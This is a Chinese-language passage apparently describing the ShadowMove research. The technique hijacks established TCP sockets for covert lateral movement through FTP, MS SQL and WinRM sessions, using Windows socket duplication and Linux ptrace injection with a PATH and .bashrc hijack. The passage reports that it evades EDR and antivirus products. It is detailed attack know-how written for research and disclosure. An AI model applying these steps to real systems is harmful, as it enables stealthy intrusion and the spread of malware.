存在两种检测和跟踪TCP连接的方法。首先，可以定期轮询形成的TCP连接，并将返回的信息与先前调用的结果进行比较。
Windows上的TCPView等工具使用此方法。第二种方法是事件驱动的，注册一个事件处理程序以用于连接的创建或拆除。在Windows操作系统中，可以通过创建WMI（Windows管理规范）过滤器并注册WMI事件使用者来获得有关连接状态更改的信息。但是，注册WMIevent使用者需要管理特权。
结果，本研究选择第一种方法。通过在Windows上调用GetTcpTable2和GetTcp6Table2，或在Linux上运行netstat
-ntp命令，连接检测器可以获得有关TCP连接的基本信息，例如连接状态，本地IP地址，本地端口，远程IP地址
，远程端口和所有者进程的ID。从进程ID，它可以进一步获取进程名称。当连接检测器观察到连接状态从未建立到已建立时，它将调用套接字复制器有关新的TCP连接的信息，然后通知网络视图管理器将复制的套接字添加到池中。另一方面，当它观察到连接状态从ESTABLISHED变为non-ESTABLISHED时，它会通知Network View
Manager从池中删除重复的套接字，因为关联的TCP连接变得不可用。通知消息包含TCP连接的基本信息和所有者进程名称。
在Windows上，连接检测器在通知套接字复制器或网络视图管理器之前，会对TCP连接进行一些简单的过滤。具体来说，它检查ShadowMove进程是否具有足够的权限来打开具有PRO
CESS_DUP_HANDLE访问标志的TCP连接的所有者进程，并且跳过那些ShadowMove进程没有足够权限的连接。
### 2）对等处理器
通过对等处理器模块，ShadowMove实例可以与其相邻的ShadowMove实例共享其对受感染网络的看法。使用共享信息的每个实例通过已经受到威胁的系统来构建可访问系统的全局视图，对等处理器模块在单独的工作线程中执行。
执行后，对等处理器将尝试在I的工作目录中找到一个配置文件。此文件包含有关用于将I移至当前系统的TCP连接的信息。然后，ShadowMove确定先前的ShadowMove实例滥用的相应服务器进程和套接字。它通过调用套接字复制器模块来复制此套接字，然后连续侦听复制套接字的传入流量。
如上图所示，前驱ShadowMove定期挂起客户端进程，然后向远程服务器发送特殊请求。收到此“信号”消息后，后继ShadowMove将挂起服务器进程。然后，这两个ShadowMove实例可以使用类似于距离矢量路由协议的协议来同步其关于网络的知识。
### 3）网络视图管理器
此模块根据从连接检测器和对等处理程序接收的信息维护受害网络的全局视图。它管理重复套接字池，并为该池中的每个套接字保留一个元组<连接状态，本地IP地址，本地端口，远程IP地址，远程端口，服务类型，所有者PID，所有者进程名>。除服务类型（或协议）外，连接检测器会传递这些字段中的大多数字段，服务类型（或协议）是通过组合几种方法在称为第7层协议检测器的子模块中确定的。首先，它从目标端口进行猜测，因为许多服务都运行在众所周知的默认端口之后，例如，FTP的默认端口号为21。其次，它从所有者进程中猜测它们是否是用于以下操作的知名客户端工具一些服务，例如ssms.exe或Microsoft
SQL Server Management Studio是SQL
Server的客户端。最后，如果端口号和所有者进程信息不足以进行可靠的猜测，它会通过在每个套接字上调用recv
API并设置MSG_PEEK标志来被动地嗅探网络流量。然后，它利用现有的协议分析技术（例如，Suricata中的自动协议检测功能）对接收到的有效负载进行分析，以识别应用程序级协议。
网络视图管理器基于重复套接字池，计算一个本地视图，该视图可以由多个谓词表示：系统谓词定义主机的IP地址，而连接谓词定义两个系统之间的连接。当它从对等处理程序接收到通知时，这些通知是邻居共享的系统谓词和连接谓词，它通过将谓词合并到其本地视图中来更新其全局视图。
值得注意的是，在Windows中，关闭套接字并不总是需要TCP连接终止握手。仅当最后一个套接字描述符关闭时，才会发生终止握手。结果，即使所有者进程关闭了其套接字，连接也将保持打开状态。但是，由于多种原因（例如网络故障，远程进程崩溃或连接不活动超时），TCP连接可能不可用。为防止发生连接不活动超时，网络视图管理器使用setsockopt
API函数为所有重复的套接字设置SO_KEEPALIVE标志。这样，将通过这些连接自动发送保持活动的数据包。
### 4）ShadowMove套接字复制器
套接字复制器在收到来自连接检测器或对等处理程序的请求时，将复制与给定TCP连接关联的套接字。方法的基本思想是在目标进程内部复制套接字，并使用生成的套接字秘密访问已建立的TCP连接。
**(a)Windows上的** **套接字复制**
在Windows上，可以调用DuplicateHandle
API从远程进程复制不同类型的句柄。但是，如DuplicateHandle文档所述，此函数不能用于复制套接字。
尽管Windows提供了一个名为WSADuplicateSocket的API来复制套接字，但是不能直接使用此函数，因为它需要进程之间的合作。使用此功能的典型场景如下，源进程创建一个套接字，并希望与目标进程共享它。首先，源进程调用WSADuplicateSocket以获取特殊的WSAPROTOCOL_INFO结构。该信息结构通过进程间通信（IPC）机制提供给目标进程。目标进程将信息结构传递给WSASocket以在其一侧重建套接字。这种方法的主要挑战（即使用WSADuplicateSocket）是两个进程必须相互协作才能复制套接字，而在本文的方案中，攻击者想要从一个粗心的受害者进程中复制套接字，情况并非如此。解决此问题的一种方法是将代码注入受害者进程中，以实现由于缺乏合作而缺少的步骤。但是，现有的防御机制（例如WindowsDefender
ATP）标记了通用进程注入技术的使用，这使得解决方案的吸引力降低了。
本文以一种非常规的方式使用Windows
API设计了一种新颖的技术，该技术使攻击者进程可以从目标进程复制套接字，而无需其协作。上表描述了攻击者进程执行的从目标进程复制套接字的步骤，假设它知道了目标的进程ID，这要归功于实时连接检测。首先，它通过使用OpenProcess枚举目标中所有打开的句柄来打开目标进程。攻击者进程仅寻找名称为\
device \
afd的文件句柄（步骤3-5，而afd代表辅助功能驱动程序）。在此操作期间，攻击者进程将复制所有文件句柄，这是读取句柄名称所必需的。研究发现，攻击者进程可以将这些重复的afd进程视为套接字。为了找到与TCP连接相对应的确切套接字，攻击者进程会获取套接字afd句柄所连接的远程IP地址和远程端口（通过调用getpeername），并将它们与连接检测器传递的信息进行比较。如果存在匹配项，则攻击者进程会将afd句柄传递给WSADuplicateSocketW，以获取复制原始套接字所需的信息。获取协议信息结构后，攻击者进程将调用WSASocketW函数来复制套接字。然后将此套接字与上下文信息（例如所有者PID，所有者进程名称，本地IP地址，本地端口，远程IP地址和远程端口）一起保存在重复套接字池中。
还值得注意的是，在Windows上，用于IPv4 /
6的TCP连接表仅包含有关原始套接字描述符的信息，而不包含有关重复的套接字描述符的信息，并且即使在所有者进程终止后，套接字描述符的所有者PID也不会改变。这意味着依赖于Windows
API来检索TCP连接表的常规工具（如netstat）不能用于检测连接是否重复以及其复制器。
**(b)深入探讨Windows上的套接字复制**
要了解ShadowMove的套接字复制为何起作用，必须首先了解套接字上下文。Thewinsock2库在不同层的许多数据结构中为每个套接字句柄维护套接字上下文（下图）。在WS2_32.dll中，有一个名为sm_context_table的哈希表，该哈希表将套接字句柄映射到DSOCKET对象，该对象存储有关套接字的信息，例如进程和服务提供者。在下一层，mswsock.dll（服务提供商），还有另一个称为SockContextTable的哈希表，该哈希表将套接字句柄映射到SOCKET_INFORMATION对象，该对象存储诸如套接字状态，引用计数，本地地址和远程地址之类的信息。套接字上的每个用户级操作（例如connect，send和recv）都必须引用并可以更改套接字上下文（例如，远程地址和引用计数）。此外，针对每个过程维护包括哈希表的这种上下文信息。套接字功能的内核端是辅助功能驱动程序或AFD.sys，它还维护套接字上下文信息（例如，本地地址和远程地址），这对于内核驱动程序最终构造网络数据包是必需的。
**通过WSADuplicateSocket在普通套接字共享期间会发生什么：** Win
dows上的普通套接字共享涉及三个步骤，如上图所示。当源进程调用WSASocket创建新的套接字时，它会做三件事：（1）调用NtCreateFile获取套接字句柄（例如，句柄1），（2）为句柄1创建新的SOCKET_INFORMATION对象，以及（3）调用NtDeviceIoControlFile来设置句柄1的内核侧上下文信息。接下来，当源进程调用WSADuplicateSocket与以下对象共享句柄1时在目标进程中，它首先创建句柄1的副本（例如，句柄2），然后将句柄2放入WSAPROTOCOL_INFO结构的dwProviderReserved字段中，以便与目标进程共享。当目标进程使用WSAPROTOCOL_INFO结构作为一个参数调用WSASocket时，WSASocket从dwProviderReserved字段中提取句柄
2，并使用它来调用NtDeviceIoControlFile以获得内核端上下文信息；完成此操作后，它将使用获得的信息为句柄2构造一个SOCKET_INFORMATION对象，这使句柄2成为功能性套接字句柄。
**ShadowMove的套接字劫持过程中会发生什么：** 使用上面相同的场景，ShadowMove攻击可以与句柄1秘密共享套接字，而无需源进程的配合。
Shad
owMove还使用了WSADuplicateSocket和WSASocket的组合，但它又做了一个准备工作：它首先通过调用NtDuplicateObject创建Handle
1的副本。之所以需要这样做，是因为句柄1位于源进程的地址空间中，因此Shadow
Move无法直接对其进行操作，但是ShadowMove可以直接使用重复的句柄（例如，句柄1），因为它是在ShadowMove的上下文中创建的。接下来，Shad
owMove调用WSADuplicateSocket与自己共享Handle1。结果，创建了句柄2，并将其放入WSAPROTOCOL_INFO结构的dwProviderReserved字段中。最后，ShadowMove以WSAPROTOCOL_INFO结构作为一个参数调用WSASocket，以使Handle
2成为功能性的套接字句柄。由于WSADuplicateSocket和WSASocket是在同一进程（即ShadowMove）中调用的，因此无需在进程之间传递WSAPROTOCOL_INFO结构。
**(c)Linux上的套接字复制**
在Linux（或*
NIX）上的套接字复制设计与Windows上的套接字复制不同。由于更严格的进程隔离，即使另一个进程由同一用户拥有，也无法直接从另一个进程复制套接字。但是，Linux上支持套接字共享，但是这需要两个进程之间的合作。由于ShadowMove假定受害者应用程序不合作，因此解决方案是通过将代码注入到其地址空间中来强制受害者应用程序进行合作，以建立与ShadowMove
process的套接字共享。要将代码注入受害者应用程序，创建了一个启动器，它将启动受害者应用程序作为子进程，然后利用ptrace以共享库的形式注入代码。最后，在命令搜索路径中将启动器版本放在原始受害者应用程序的前面，以便用户在运行受害者应用程序时会调用启动器。
应该注意，与Windows上的ShadowMove相比，使用进程注入可以减少Linux上ShadowMove攻击的隐蔽性。但是，Linux设计仍然有很大的机会规避最先进的防御措施。将对评估进行详细讨论。
**Linux上的套接字共享：**
为了共享一个套接字，两个进程首先通过Unix域套接字连接，然后发送方进程调用sendmsg并在输入参数中传递套接字描述符，而接收方调用recvmsg并从中检索一个（可能不同的）套接字描述符。输出参数。当以这种方式传递套接字描述符时，底层的Linux内核会在接收进程的地址空间中创建一个新的描述符，该地址指向内核中与结束进程发送的描述符相同的文件表条目。
更具体地说，在Linux上有四个ShadowMove攻击组件，分别是目标进程，共享库，启动器和ShadowMove（下图）。
启动程序通过使用ptrace将共享库注入目标进程，该进程必须首先附加到目标进程。当前的Linux系统对ptrace施加了严格的控制。具体来说，默认情况下，Yama
Linux安全模块（LSM）仅允许具有sudo特权的进程或从父进程到子进程的ptrace。使用第二个选项，因此不需要特权升级。启动器将目标应用程序作为子进程运行，然后使用ptrace附加到目标进程。之后，它调用__libc_dlopen_mode将共享库加载到目标进程中。
本研究开发了共享库的原型，该共享库的构造函数（在加载库时自动执行）枚举目标进程中的打开套接字。对于每个打开的套接字，它使用dup方法创建该套接字的副本，通过Unix域套接字连接到ShadowMove进程，并使用该通道共享重复的套接字。如果没有打开的套接字，它将休眠一段时间并尝试再次查找打开的套接字。为了避免阻塞目标进程的主线程，创建了一个专用于套接字复制的新线程。
为了使受害用户在打算运行目标应用程序时无意中运行启动器，给启动器起一个与目标应用程序相同的名称，并确保启动器在命令搜索路径中位于目标应用程序的前面，可以通过更改PATH环境变量来完成。为了使攻击更加隐秘，如果当前命令搜索路径上的任何位置是（1）受害用户可写的并且（2）在目标应用程序的位置之前，则可以避免更改PATH环境变量。情况下，只需要在该可写位置复制启动器即可。否则，将创建一个看起来是良性的文件夹（例如，可被名为npm的良性应用程序使用的/home/alice/.npm-packages/bin），将启动器复制到此处，然后添加通过将export PATH = / path / of / the / launcher：$
PATH添加到受害者用户的.bashrc中，将新文件夹位置添加到PATH环境变量中。
例如，如果ftp是目标应用程序，则启动器将命名为ftp。当用户尝试运行FTP时，启动器将被执行，它将作为子进程运行原始FTP应用程序
**(d)良性应用程序与攻击之间的竞争**
应该注意，在提出的攻击中，套接字在原始客户端和攻击者之间共享，这可能导致从远程端点接收和发送数据时出现竞争状况。首先调用recv函数的人将从输入缓冲区中获取数据，而首先调用send函数的人会将数据发送至服务器。这可能导致从服务器读取部分响应或向服务器发送乱码请求。为了避免这种可能性，攻击者可以在客户端正在从服务器发送/接收数据时，暂时将客户端进程暂停，然后再恢复客户端进程。要暂停客户端进程，攻击者可以通过调用SuspendThread暂停其所有线程，而要恢复客户端进程，攻击者可以使用ResumeThread恢复所有线程。
### 5）横向移动计划器（LMP）
横向移动计划器（LMP）可以使敌方协调多个受害者系统上的攻击行动，从而优化攻击效率和隐蔽性。例如，假设上图中的攻击者已承诺将主机A和B都连接到主机C，但是它们各自的连接不足以进行横向移动（例如，A的连接只能复制恶意软件，而B的连接只能执行恶意软件）。在这种情况下，同时涉及A和B的协调计划（例如，将恶意软件复制到C，然后B远程在C上启动恶意软件）将允许横向迁移到C，从而使攻击更加有效。对于另一个示例，如果存在到目标系统的多条路径，则协调计划将允许攻击者使用最短路径将有效载荷发送到目标/从目标接收到数据，从而使攻击更加隐秘。假设攻击者寻找一组特定的目标，这些目标可以在达到目标时被识别。
**在Prolog中制定了攻击计划问题：**
使用上表中的谓词指定受感染网络的当前状态：system和connected指定可访问系统及其互连，并且commit定义了ShadowMove实例已在系统上执行的操作。对于每个协议，还使用能力谓词来指定攻击者劫持相应TCP连接时可以执行的操作。
前图展示了系统B（IP地址为10.10.10.50）ShadowMove知识库的快照，该知识库由一组事实组成，这些事实代表具有三个受感染系统和一个目标的网络。此知识库是从所有Shadow
Move实例之间共享的全局视图构造的。 LMP使用以下规则来确定是否可以在给定系统X的远程系统Y上执行特定操作。
通过使用remoteOperation，ShadowMove实例可以检查两个系统之间是否存在路径，以允许它们执行特定的操作，例如执行或上载文件。例如，攻击者可以执行以下查询：
它返回[010.10.10.100，0 10.10.10.300，0
10.10.10.1000]。此结果意味着，到达10.10.10.10并已移至10.10.10.30的攻击者可以通过ShadowMove执行器之一将恶意软件从10.10.10.30复制到10.10.10.100。可以使用remoteOperation谓词来构造更复杂的谓词，例如commitExecuteOperation：
为了从受威胁的系统上在目标系统上运行ShadowMove，不仅这两个系统之间必须存在允许ShadowMove立场执行执行操作的连接，而且文件还必须通过以下方式上载到该目标系统：执行操作之前的阴影移动实例之一。例如，在前图中，当且仅当（1）存在允许系统B在系统C上执行文件的连接时，系统B才能在系统C（目标）上启动ShadowMove：
（2）ShadowMove二进制文件已上传到系统C：
如果基于其当前的知识库，没有任何ShadowMove实例将文件上传到目标上，则系统B必须等待直到ShadowMove实例之一（例如系统A上的一个）提交了上载操作。系统B可以在其上启动ShadowMove的目标系统，系统B上的ShadowMove实例可以执行以下查询：
如果返回的ExecuteList不为空（例如[‘10
.10.10.100’]），则可以在新的目标系统（例如10.10.10.100）上启动ShadowMove的实例。这是横向移动的说明，它要求在不同路径之间进行协调，只有在可以全面了解受感染网络的情况下才有可能。
### 6）横向移动执行器
横向移动执行器（LMA）是一个模块管理器，其中包含多个执行模块。这些模块中的每一个都负责处理一种协议，例如TDS。
LMA可以采取被动和主动行动。在被动模式下，模块仅绕过MSG_PEEK标志从套接字读取，以进行Recv
API调用。这样，不会清空输入缓冲区，因此原始进程可以读取内容。在活动模式下，模块不通过MSG_PEEK标志就从套接字读取数据；因此recvcall会消耗输入缓冲区中的数据。在这种状态下，模块还写入套接字输出缓冲区以发送经过精心设计的消息。
在某些协议中需要学习一些秘密，然后才能制作有效的消息（例如，WinRM的shellID）。在这些情况下，执行器模块以被动模式启动，嗅探接收消息以了解此类秘密值。在学习了所有这些必需的数据元素之后，执行器模块可以将其自身切换到活动模式并开始与远程端点进行通信。值得注意的是，LMA模块只能读取传入的消息。它无法读取传出的消息，没有这样的API允许人们从套接字输出缓冲区中读取消息。在当前的原型中，LMA具有用于FTP，MS
SQL和WinRM协议的三个驱动模块。但是，可以通过实现称为IPModule的接口向LMA添加新协议。
## 0x04 Prototypes for ShadowMove Actuators
用2,501行C / C ++代码在Windows上实现了ShadowMove设计的原型。横向移动计划器基于SWI-Prolog，它是Prolog编程语言的免费实现。原型展示了一些常见功能，例如连接检测，套接字复制，网络视图同步和横向移动计划；它还克服了操作上的挑战，即如何使注入的数据包与各自的协议保持一致，并且对横向移动（例如上传恶意软件和启动恶意软件）有用，这特定于各个应用程序协议。
在本节中介绍三个利用FTP，MS
SQL和WinRM的ShadowMove执行器。正如在之前中讨论的那样，选择这些协议的标准是它们缺乏对消息来源完整性的支持。具体来说，FTP和Microsoft
SQL没有原始完整性强制，而WinRM没有足够的原始完整性强制。
### 1）ShadowMove实例化
对于每个实验，首先准备一个包含受害者应用程序的目标环境，例如，一台运行FTP客户端的计算机和另一台运行FTP服务器的计算机。对应用程序进行配置，以使它们不会按预期目的运行，在受害客户端计算机上启动ShadowMove
PoC。观察到，一旦建立候选PoC，PoC就会定期检测候选TCP连接（受害客户端应用程序不必在PoC之前启动），复制相应的套接字，并确定在TCP连接上运行的协议（例如FTP）
。
PoC定期查询横向移动计划器模块（通过显示其当前网络视图），并在计划程序返回下一个移动目标时执行执行器逻辑（例如，使用FTP连接将PoC复制到FTP服务器）
。在服务器计算机上启动PoC时，看到它检测到活动的TCP连接（包括与客户端计算机的TCP连接）并复制了相应的套接字，进一步观察到，服务器上的PoC与客户端上的PoC成功交换了“信号”消息，然后它们交换了当前的网络视图。这样，两台计算机上的网络视图都会更新。一段时间后，再次查询横向移动计划器模块，以基于新的网络视图做出下一个决定。
上述情况对于所有三个执行器都是通用的。因此，在单个执行器的描述中省略了这些细节。利用FTP的ShadowMove
PoC演示视频可在（<http://54.36.162.222/ShadowMoveDemo/ShadowmovePrototypeDemo.mp4>
）中找到上述情况的案例。在本演示中，将ShadowMove PoC移至FTP服务器后手动启动它，但是可以通过WinRM自动启动PoC。
### 2）FTPShadowMove：劫持FTP会话
本研究开发了可以劫持Windows 10和Ubuntu
18.04上已建立的FTP连接的原型系统。它们在ftp的默认安装下工作，不需要任何提升的特权。它们使攻击者无需身份验证即可将文件下载和上传到远程FTP服务器。
在FTP协议中，客户端使用一个TCP连接将命令发送到服务器并从服务器接收相应的响应。此连接称为命令通道。客户端还使用另一个TCP连接来发送或接收数据，例如文件内容。该连接称为数据通道。客户端可以为给定的命令通道打开多个数据通道。仅在建立命令通道时才需要身份验证，这意味着客户端无需重新身份验证即可创建新的数据通道。劫持命令通道的攻击者可以向服务器发送请求以打开一个自己的新数据通道，从而避免与现有数据通道上正在传输的客户端内容发生任何冲突。但是，攻击者仍应采取策略来防止共享命令通道中的条件竞争。请注意，由于合法客户端也可能会打开新数据通道，因此无法仅通过监视新数据通道的创建来检测攻击。
FTP客户端可以通过两种方式请求创建新的数据通道：主动FTP和被动FTP。在活动的FTP中，客户端向服务器发送端口命令，以指定服务器需要重新建立连接的端口。在被动FTP中，客户端将PASV命令发送到服务器，要求服务器侦听客户端可以连接的端口以创建新的数据通道。简而言之，这两种模式之间的区别在于谁发起了新的TCP连接：主动模式下的服务器和被动模式下的客户端应该分别连接到客户端和服务器指定的端口。在原型中，实现了被动FTP进行演示。但是，主动FTP也可以轻松实现。
在被动FTP中，客户端将PASV命令发送到服务器，服务器通过提供有关客户端必须连接到的端点（包括IP地址和端口）的信息来进行响应，以创建新的数据通道。
PASV在RFC-959中记录。
**实验设置：**
在互联网上托管的基于Linux的虚拟专用服务器上部署了vsftpd服务器。对于合法客户端，使用ftp命令和Windows资源管理器连接到已配置的服务器。服务器上的匿名登录已被阻止，因此客户端需要发送有效的用户名和密码才能连接到该用户。从下图上半部分的演示视频中可以看到，客户端与服务器交换了几条消息，以便登录到服务器。之后，以与ftp客户端相同的用户帐户启动FTPShadowMove。
FTPShadowMove
PoC首先通过复制相应的套接字来劫持FTP连接，然后发送若干命令以将二进制文件上传到服务器上的特定目录。上图的下半部分显示了特定的命令（例如CWD /
files /）和服务器响应。具体来说，可以看到服务器在端口45307上响应54.36.162.222（即176*256 + 251）。然后，FTP
ShadowMove请求在服务器上上载名为PoC2.txt的文件。从服务器收到响应代码150后，FTPShadowMove打开了到指定远程端点的TCP连接，并将文件的内容发送到打开的连接。服务器将文件解释为二进制内容，并将其存储在服务器上的/files/PoC2.txt中。
在Ubuntu
18.04上的原型使用与上述相同的FTP命令，有关其工作原理的视频片段，请参见<http://54.36.162.222/ShadowMoveDemo/LinuxShadowMove.gif>
。
在原型系统中，仅使用了一些FTP命令。但是，攻击者还可以使用许多其他FTP命令。具体来说，FTP
SITE命令允许用户通过主机上的FTP服务器执行有限数量的命令。无需进一步的身份验证即可执行该命令。可能执行的命令因系统而异，一些有用的命令包括EXEC和CHMOD。
EXEC命令在服务器上执行提供的可执行文件，可用于启动恶意软件。幸运的是，在许多系统上都未实现SITE命令，如果可能，还建议在FTP服务器上禁用SITE命令。
### 3）SQLShadowMove：劫持Microsoft SQL会话
已经确认，可以（1）劫持Microsoft SQL连接以将恶意软件可执行文件从SQL客户端计算机上载到SQL Server，以及（2）在SQL
Server上执行恶意软件。
实验设置：使用Microsoft SQL Server Management Studio 17作为合法的SQL客户端，并使用Microsoft SQL
Server
14.0.1000.169版作为服务器。在SQL服务器上配置一个可以创建数据库和表的用户。首先启动SQL客户端并登录到服务器。然后，运行概念验证SQLShadowMove。确认PoC在Microsoft
SQL的默认安装和常规应用程序设置下有效。
SQL劫持方案需要满足一些先决条件才能成功工作：（1）流量未加密，（2）SQL Server上有一个可由SQL
Server进程写入的文件夹，（3）SQL客户端已成功通过SQL身份验证服务器（4）SQL客户端承担着允许在SQL服务器上创建表的角色。
通常可以满足上述前提条件。默认情况下，Microsoft SQL通信未加密，并且％TEMP％文件夹始终可由SQL Server上的任何进程写入。而且，SQL
Server几乎是无状态的。客户端和服务器使用TDS（表格数据流）协议进行通信。尽管TDS标头中的几个字段是为维护某些状态而设计的，但它们是可选的或当前实现未使用。例如，TDS数据包头中的SPID字段是服务器上与当前连接相对应的进程ID。如果严格检查此ID，则攻击者必须在构造恶意数据包之前以某种方式学习它。不幸的是，此字段不是必需的，服务器可接受的值为0x0000。同样，还定义了两个字段，但将其忽略：PacketID和Window。
TDS数据包有几种类型，与本研究的攻击最相关的类型是“批处理客户端请求”类型，其有效载荷可以是任何SQL语句的Unicode编码，并且数据包头中没有校验和。这使得捕获真实的批处理客户端请求数据包然后将其用作模板以通过将负载替换为新的Unicode字符串来创建新的恶意请求变得很简单。在例子中，这些字符串对应于一系列SQL语句。
SQLShadowMove首先检测由SQL客户端进程创建的TCP连接，然后复制相应的套接字。然后，它使用复制的套接字将一系列批处理客户端请求数据包发送到SQL
Server，并从服务器接收任何响应数据包。这些批处理客户端请求数据包的有效负载由SQL脚本组成，这些脚本将可执行文件上载到SQL
Server并执行该文件。
具体来说，SQL脚本首先在SQL
Server上创建一个表，然后将可执行文件中的字节块插入表中。最后，它们调用bcp命令将表的内容导出到服务器上的常规文件，从而还原原始的可执行文件。
SQL脚本的伪代码如下图所示。
使用SQL服务器上的可执行文件，原型可以通过SQL语句进一步运行它。为了通过实验确认SQLShadow
Move的可行性，开发了一个简单的Windows应用程序（名为notepad.exe）来表示一部分“恶意软件”。此应用程序在与应用程序可执行文件相同的文件夹中创建一个文件（名为notepad.txt），并将当前日期和时间写入该文件。然后，生成SQL脚本，以将简单的“恶意软件”上载到SQL
Server上的％T EMP％\ notepad.exe并运行它。运行SQLShadow Move的概念验证后，可以直观地确认SQL
Server上首先出现notepad.exe，然后出现notepad.txt，并且其内容与SQL
Server上的时间和日期匹配。有关SQLShadowMove的工作原理的视频剪辑，请参见<http://54.36.162.222/ShadowMoveDemo/SQLShadowMove.gif>
。
请注意，为了运行bcp命令或可执行文件，必须在SQL
Server上启用xp_cmdshell。但是，这对于原型来说并不是障碍，因为SQL脚本在使用xp_cmdshell之前先启用它。
### 4）WinRMShadowMove：基于WinRM的远程执行
Windows远程管理（WinRM）是Windows的一项功能，允许管理员远程运行管理脚本。已经确认，可以劫持WinRM会话以在远程计算机上运行恶意软件。假设远程计算机正在运行WinRM服务，并且恶意软件已上传到远程计算机，并且只需要启动它即可。
**(a)WinRM协议简介**
WinRM协议使用HTTP与远程服务器进行通信。要使用远程计算机进行身份验证，WinRM具有六个身份验证机制：基本，摘要，Kerberos，协商，证书和CredSSP。默认情况下，它使用协商。
WinRM客户端首先通过WinRM服务器进行身份验证。验证后，WinRM客户端从服务器接收一个shellID，该ID将在以后的通信中使用。除了shellID之外，每个请求消息中还有一些其他ID。
messageID用于将响应消息与相应的请求消息配对，并且在响应消息中，请求消息ID显示为“
RelatesTo”字段。下图说明了WinRM会话期间的消息交换。
**(b)实验设置**
为了准备WinRM劫持的环境，首先在Windows
10上为正常应用程序场景设置WinRM，其中包括在服务器和客户端上同时启用WinRM，并将服务器添加为客户端计算机上的受信任主机。然后，可以使用客户端计算机上的命令行工具winrs在服务器上运行命令。
但是，ShadowMove在上述默认设置下不起作用，因为WinRM通信量已默认加密。为了使WinRMShadowMove
PoC能够正常工作，管理员必须将WinRM服务器配置为具有基本身份验证，并允许传输未加密的数据。应该注意，这种配置并不罕见，因为它可以使WinRM快速工作，并且某些第三方WinRM客户端和库需要未加密的有效负载才能与WinRM服务器通信。
**(c)劫持WinRM**
为了演示WinRMShadowMove的工作原理，在客户端计算机上，运行命令行winrs -un -r：http：// host_ip：5985
-u：user -p：pass cmd，这将创建一个新的winrs进程并打开命令外壳到远程计算机。
-un标志指定将不对请求和响应消息进行加密。同时在另一个终端中，运行WinRMShadowMove。
当winrs进程开始执行时，它将建立与WinRM服务器的TCP连接，并由连接检测器捕获。结果，连接检测器通知套接字复制器，后者在winrs进程中查找并复制该套接字。
WinRMShadowMove首先以被动模式运行（即，通过重复的套接字窥探传入的网络数据包），以便从服务器获取shellID；然后切换到活动模式。
因为WinRM服务器支持未加密的有效负载，所以可以构造纯文本HTTP有效负载并将其通过TCP套接字发送到服务器。为了使该方案起作用，构造的有效负载必须对服务器合法。在使用Wireshark分析HTTP请求和响应数据包之后，发现MessageID对于每个有效负载都是唯一的，并且实际上是UUID。
因此，使用UUID生成器生成messageID。此外，从身份验证响应消息中获取shellID。使用这两个ID，可以构造有效负载以在远程WinRM服务器上执行可执行文件。为了学习如何构造有效负载，利用了一个称为winrm4j的开源WinRM客户端与远程WinRM服务器进行通信，并且将winrm4j生成的请求数据包用作有效负载的模板。下图显示了示例WinRM请求的有效负载。
在使用劫持的TCP套接字将有效负载发送到远程计算机之前，WinRMShadowMove会挂起合法的进程，以防止其从WinRM服务器获取响应消息。从WinRM服务器获得响应后，它将恢复合法客户端。暂停和恢复之间的时间间隔非常短，因此合法客户可能不会注意到它。上图显示了攻击消息与合法WinRM消息的交换。
## 0x05 Evaluation of ShadowMove Proof-of-concepts
### 1）理论评估
正如前文中演示的那样，当前最先进的横向移动检测器无法检测到ShadowMove。在本节中，讨论了导致现有解决方案在检测ShadowMove横向移动方面无效的根本原因。
在主机级别，为了执行横向移动，在Windows上进行的ShadowMove设计依赖于其他良性进程也常用的一些API函数。例如Windows上的许多进程都使用带有PROCESS_ALL_ACCESS访问标志的OpenProcess进行调用，这实际上是在要求对目标进程的所有可能的许可，包括复制其进程的许可。此外，ShadowMove调用WSADuplicateSocket，它也具有合法的用例，例如将套接字卸载到子进程。其次，很难从套接字描述符追溯到有权访问它的所有进程，因为套接字所有者中仅记录所有者的进程ID。
当前在Linux上进行的ShadowMove设计需要对攻击者有更强的假设，因为它依赖进程注入来强制受害者应用程序进行协作，这使其不如Windows同类程序隐蔽（例如，通过监视良性代码段的运行时完整性）在应用中，人们可以检测到代码注入的效果。此外，由于设计可能会修改系统的配置（例如PATH环境变量和.bashrc），因此可以通过监视此类更改来检测到它。
具体来说，检测Linux上的Shad
owMove攻击存在实际挑战。当前的Linux发行版不支持对应用程序进行运行时代码完整性监视，并且已知的监视工具需要系统管理程序或特殊的硬件。监视配置更改以检测ShadowMove也不是一件容易的事，因为许多良性应用程序（例如npm）也对PATH环境变量和.bashrc进行了更改；因此，监视工具必须检查精确的条件（最有可能是特定于应用程序的），以避免错误警报。将启动器隐藏在看似良性的路径下（例如/home/alice/.npm-packages/bin），这进一步提高了检测的标准。在Linux上流行的几种基于主机的基于IDS的经验中证实了这一点：OSSEC
，Osquery和Wazuh，它们无法使用现有规则检测ShadowMove。当然，可以添加新规则来检测ShadowMove的特定实例，但是这并非易事。
在网络级别，ShadowMove通过两端良性进程建立的现有连接来隧道传送其消息。换句话说，它会将其消息注入由良性客户端发送到远程服务的良性消息流中。因此，检测异常的新连接的基于异常的解决方案对于ShadowMove来说是无关紧要的。此外，在客户端和远程服务器执行所需的身份验证步骤后，ShadowMove开始横向移动。这意味着ShadowMove操作不需要任何其他身份验证尝试。结果，那些将用户登录活动与网络连接活动相关联的异常检测解决方案是无效的。
### 2）实验评估
在本节中将在企业环境中通常存在的基于主机和基于网络的防御机制下，对ShadowMove进行广泛评估。更具体地说，针对新兴的终端检测响应（EDR）系统，一流的防病毒产品，基于主机的IDS和基于网络的IDS对ShadowMove进行了测试。
在新兴的终端检测响应（EDR）系统（即CrowdStrike Falcon Prevent和Cisco AMP）存在的情况下评估ShadowMove。
EDR与评估有关，因为某些EDR（例如CrowdStrike
Falcon）旨在检测横向移动。还会在存在基于主机的tivirus产品的情况下对ShadowMove进行评估：选择排名前50的前四名防病毒产品进行评估（McAfee，Norton，Web
root和Bitdefender）；还选择Windows Defender，因为它是Windows系统上的默认AV。此外，选择Snort
IDS来针对基于网络的解决方案评估ShadowMove（使用了Snort规则V2.9.12）。最后，对于Linux上的ShadowMove设计，使用三种流行的基于主机的IDS（OSSEC，Osquery和Wazuh）对其进行评估。
反制EDR和IDS解决方案：实验确认，ShadowMove PoC可以逃避对Strike Falcon Prevent，Cisco
AMP，OSSEC，Osquery，Wazuh和Snort（Windows和Linux）的检测。详细结果如下表所示。在评估期间，使用了此类工具提供的默认检测规则。研究还手动检查这些默认规则，以了解为什么它们无法检测到ShadowMove。例如，默认的Osquery规则根本不提及ptrace或进程注入。
绕过基于主机的防病毒产品：还通过实验证实，ShadowMove PoC可以逃避Windows
10上上述五个AV的最新版本的检测（这些AV没有Linux版本），总体结果见上表。
